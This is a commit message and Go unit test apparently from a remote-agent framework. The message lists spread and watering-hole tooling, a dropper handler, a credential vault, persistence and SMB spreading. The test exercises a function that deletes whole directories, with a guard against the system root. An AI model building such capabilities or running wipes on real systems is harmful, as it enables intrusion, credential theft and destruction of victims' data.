feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

agent/client/secure_wipe_test.go

@@ -0,0 +1,48 @@
+package client
+
+import (
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+)
+
+func TestSecureWipePathRejectsSystemRoot(t *testing.T) {
+	msg := SecureWipePath(`C:\Windows`)
+	if !strings.Contains(msg, "protected system path") {
+		t.Fatalf("expected blocked path, got %q", msg)
+	}
+}
+
+func TestSecureWipePathRequiresDirectory(t *testing.T) {
+	dir := t.TempDir()
+	file := filepath.Join(dir, "one.txt")
+	if err := os.WriteFile(file, []byte("secret"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	msg := SecureWipePath(file)
+	if !strings.Contains(msg, "must be a directory") {
+		t.Fatalf("expected directory error, got %q", msg)
+	}
+}
+
+func TestSecureWipePathWipesFiles(t *testing.T) {
+	dir := t.TempDir()
+	sub := filepath.Join(dir, "wipe_me")
+	if err := os.Mkdir(sub, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(sub, "a.txt"), []byte("data"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(sub, "b.txt"), []byte("more"), 0o644); err != nil {
+		t.Fatal(err)
+	}
+	msg := SecureWipePath(sub)
+	if !strings.Contains(msg, "wiped: 2") {
+		t.Fatalf("unexpected summary: %q", msg)
+	}
+	if _, err := os.Stat(sub); !os.IsNotExist(err) {
+		t.Fatalf("expected directory removed, stat err=%v", err)
+	}
+}